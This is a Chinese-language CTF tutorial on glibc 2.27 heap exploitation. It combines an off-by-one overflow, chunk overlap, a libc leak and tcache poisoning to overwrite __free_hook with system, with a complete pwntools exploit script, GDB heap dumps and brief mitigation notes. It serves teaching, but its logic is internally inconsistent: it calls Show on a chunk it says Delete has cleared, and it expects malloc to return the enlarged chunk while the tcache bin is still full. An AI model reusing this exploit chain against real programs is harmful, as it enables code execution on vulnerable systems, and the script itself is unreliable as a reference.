写在前面:欢迎来到 Week10 的收官之战!在前三篇中,我们分别学习了 Off-by-one 单字节溢出、Unlink 经典利用以及 Tcache 溢出扩展。今天,我们将把这些技术融为一体,模拟一道典型的现代 CTF PWN 题。你将看到,一个微小的 NULL 字节溢出,如何经过精妙的堆布局设计,最终通过 Tcache 劫持实现任意代码执行。这不仅是一篇教程,更是一次从漏洞发现到 EXP 构造的完整实战演练。
📑 目录
- 题目背景与漏洞分析
- 利用思路与堆布局设计
- 详细利用步骤与 EXP 构造
- GDB 动态调试验证
- Week 10 总结与进阶展望
1. 题目背景与漏洞分析
1.1 题目模拟:heap_dance
假设有一道名为heap_dance的题目,glibc 版本为 2.27(拥有 Tcache,但无 key 校验)。
程序提供了标准的菜单:Add,Delete,Show,Edit。
核心代码逻辑:
// 1. Add 函数:分配指定大小的堆块,并读入数据 void Add(int size, char *content) { int idx = get_idx(); heap_ptrs[idx] = malloc(size); sizes[idx] = size; puts("content: "); read(0, heap_ptrs[idx], size); } // 2. Edit 函数:存在 Off-by-one 漏洞 void Edit(int idx, char *content) { char *ptr = heap_ptrs[idx]; int size = sizes[idx]; // 漏洞点:允许写入 size + 1 个字节! read(0, ptr, size + 1); } // 3. Delete 和 Show 函数正常释放和打印,且 Delete 会清空指针1.2 漏点定位
漏洞极其明显:Edit函数中read的长度参数为size + 1,导致我们可以向当前 chunk 的 user_data 区域写入超出一个字节的数据,即发生Off-by-one 溢出。
由于通常的堆块大小按 0x10 对齐,这一个字节的溢出将精准覆盖下一个 chunk 的size字段的最低字节。
2. 利用思路与堆布局设计
在 glibc 2.27 环境下,我们的核心目标是构造堆重叠,进而实现Tcache Poisoning。由于Delete函数会清空指针,我们无法直接使用 UAF,必须依赖堆重叠来篡改 Tcache 链表。
2.1 核心思路流程图
1. 填充 Tcache[0xa0]
分配 7 个 0x98 的 chunk 并释放
2. 布置关键堆块
A(0x18), B(0x18), C(0x98), D(0x18)
3. 触发 Off-by-one
Edit A, 溢出覆盖 B 的 size 为 0xa1
4. 释放 B
B 进入 Unsorted Bin (因为 Tcache 已满)
5. 重新分配 0x98
取回 B,此时 B 的 user_data 覆盖了 C 的头部
6. 泄露 Libc
释放 C 进入 Unsorted Bin, Show(C) 泄露 main_arena 地址
7. Tcache 投毒
清空 Tcache, 释放 C 进 Tcache, 利用 B 覆盖 C 的 next 指针
8. Getshell
分配到 __free_hook, 写入 system, 释放 /bin/sh
2.2 堆布局数学模型
我们需要确保当 B 被扩展为 0xa0 大小时,它的 user_data 能够覆盖到 C 的fd指针(在 Tcache 中即next指针)。
A分配 0x18 -> chunk 大小 0x20B分配 0x18 -> chunk 大小 0x20C分配 0x98 -> chunk 大小 0xa0
内存布局:[A header(0x10) | A data(0x10)] [B header(0x10) | B data(0x10)] [C header(0x10) | C data(0x90)]
如果我们将 B 的 size 从0x21修改为0xa1,B 的大小变为 0xa0。
当 B 被释放并重新分配回来时(malloc(0x98)),我们获得了 0x90 字节的写入权限。
B 的 user_data 起始地址为B_addr + 0x10。
C 的 user_data 起始地址(即fd/next指针)为C_addr + 0x10 = (B_addr + 0x20) + 0x10 = B_addr + 0x30。
相对 B 的 user_data 偏移为0x30 - 0x10 = 0x20。
结论:我们在写入 B 的数据时,只需在前 0x20 字节填充任意数据,接下来的 8 字节就能精准覆盖 C 的next指针!
3. 详细利用步骤与 EXP 构造
3.1 步骤一:填充 Tcache 与初始化布局
from pwn import * p = process('./heap_dance') libc = ELF('./libc-2.27.so') def add(size, content=b'\n'): p.sendlineafter(b'choice: ', b'1') p.sendlineafter(b'size: ', str(size).encode()) p.sendafter(b'content: ', content) def delete(idx): p.sendlineafter(b'choice: ', b'2') p.sendlineafter(b'idx: ', str(idx).encode()) def show(idx): p.sendlineafter(b'choice: ', b'3') p.sendlineafter(b'idx: ', str(idx).encode()) def edit(idx, content): p.sendlineafter(b'choice: ', b'4') p.sendlineafter(b'idx: ', str(idx).encode()) p.sendafter(b'content: ', content) # 1. 填充 Tcache[0xa0] for i in range(7): add(0x98, b'T' * 0x98) # idx 0-6 for i in range(7): delete(i) # 释放进 Tcache # 2. 布局关键堆块 add(0x18, b'A' * 0x18) # idx 0: Chunk A add(0x18, b'B' * 0x18) # idx 1: Chunk B add(0x98, b'C' * 0x98) # idx 2: Chunk C add(0x18, b'D' * 0x18) # idx 3: Chunk D (防顶合并)3.2 步骤二:触发 Off-by-one 与堆重叠
# 3. 触发 Off-by-one,将 B 的 size 从 0x21 改为 0xa1 edit(0, b'A' * 0x18 + b'\xa1') # 4. 释放 B,由于 Tcache[0xa0] 已满,B 进入 Unsorted Bin delete(1) # 5. 重新申请 0x98 大小的堆块,取回 B # 此时我们拥有了覆盖 C 头部的能力 add(0x98, b'B' * 0x98) # idx 1: Chunk B (已扩展)3.3 步骤三:泄露 Libc 地址
# 6. 释放 C,它将进入 Unsorted Bin (Tcache 已满) # C 的 fd/bk 将指向 main_arena + 96 delete(2) # 7. 查看 C,泄露 libc 地址 show(2) p.recvuntil(b'content: ') leaked_addr = u64(p.recv(6).ljust(8, b'\x00')) libc_base = leaked_addr - (libc.symbols['__malloc_hook'] + 0x10 + 96) log.info(f"Libc base: {hex(libc_base)}") # 计算关键地址 free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system']3.4 步骤四:Tcache 投毒与 Getshell
# 8. 重新申请回 C,以便后续操作 add(0x98, b'C' * 0x98) # idx 2: 取回 C # 9. 清空 Tcache[0xa0],为释放 C 进 Tcache 做准备 for i in range(7): add(0x98, b'X' * 0x98) # idx 4-10 取出 Tcache 中的块 # 10. 释放 C 进入 Tcache delete(2) # 11. 利用 B 的重叠特性,覆盖 C 的 next 指针为 __free_hook # 偏移计算:B 的 user_data 开始,0x20 字节后是 C 的 next 指针 payload = b'B' * 0x20 + p64(free_hook) edit(1, payload) # 12. 连续分配两次 0x98,第二次分配到 __free_hook add(0x98, b'/bin/sh\x00') # idx 2: 取回原 C add(0x98, p64(system)) # idx 4: 取回 __free_hook,覆写为 system # 13. 触发 free("/bin/sh") -> system("/bin/sh") delete(2) # 释放 idx 2,其内容为 "/bin/sh" p.interactive()4. GDB 动态调试验证
让我们用 GDB 见证这一神奇的内存覆盖过程。
1. 触发 Off-by-one 后的堆状态:
pwndbg> vis 0x555555559290 0x0000000000000000 0x0000000000000021 <--- A 0x5555555592a0 0x4141414141414141 0x4141414141414141 0x5555555592b0 0x4141414141414141 0x00000000000000a1 <--- B (size 被改为 0xa1!) 0x5555555592c0 0x4242424242424242 0x4242424242424242 0x5555555592d0 0x4242424242424242 0x00000000000000a1 <--- C (原始 size 也是 0xa1) 0x5555555592e0 0x4343434343434343 0x43434343434343432. 取回 B 后,向 B 写入覆盖 C 的 next 指针:
pwndbg> vis 0x5555555592b0 0x0000000000000000 0x00000000000000a1 <--- B (已分配) 0x5555555592c0 0x4242424242424242 0x4242424242424242 0x5555555592d0 0x4242424242424242 0x4242424242424242 <--- 覆盖到了 C 的头部 0x5555555592e0 0x0000000000000000 0x00007f...free_hook <--- C 的 next 被篡改!3. 分配验证:
第一次malloc(0x98)返回C的地址,第二次malloc(0x98)将返回__free_hook的地址!
5. Week 10 总结与进阶展望
5.1 核心知识点总结
- Off-by-one 是钥匙:通过仅一个字节的溢出,修改相邻 chunk 的
size字段,是打破堆块独立性的经典手段。 - 堆重叠是桥梁:扩展 chunk 大小后重新分配,使得一个 chunk 的可写区域覆盖另一个 chunk 的元数据,从而在无 UAF 的情况下实现任意地址写。
- Tcache 是目标:在 glibc 2.27 等版本中,Tcache 缺乏校验,通过堆重叠篡改
next指针即可轻松实现 Tcache Poisoning。 - 整体利用链:
Off-by-one -> 扩展 Size -> 释放进 Unsorted Bin -> 重分配造成重叠 -> 泄露 Libc -> 篡改 Tcache next -> 劫持 __free_hook -> Getshell。
5.2 防御与缓解
- 安全编码:严格检查边界条件,警惕
strncpy等函数的不截断特性。 - Glibc 缓解:高版本 glibc 引入了 Tcache Key 机制防止 Double Free,以及对 Unlink 的严格检查。但堆重叠依然难以彻底防御。
- 现代防护:AddressSanitizer (ASan) 能够在编译期和运行时精准捕捉单字节溢出。
5.3 进阶展望
本周我们深入剖析了基于ptmalloc2的堆利用艺术。从下周(Week 11)开始,我们将把目光转向另一种强大的漏洞类型——格式化字符串漏洞。我们将探讨它如何与堆漏洞结合,以及在现代编译器防护下的绕过技术。
最终结论:在堆利用的世界里,没有绝对的边界。一个字节的越界,经过攻击者精心的数学布局与机制利用,就能引发一场内存管理的雪崩,最终颠覆整个进程的控制权。理解并掌握这套利用链,是每一位二进制安全研究者的必修课。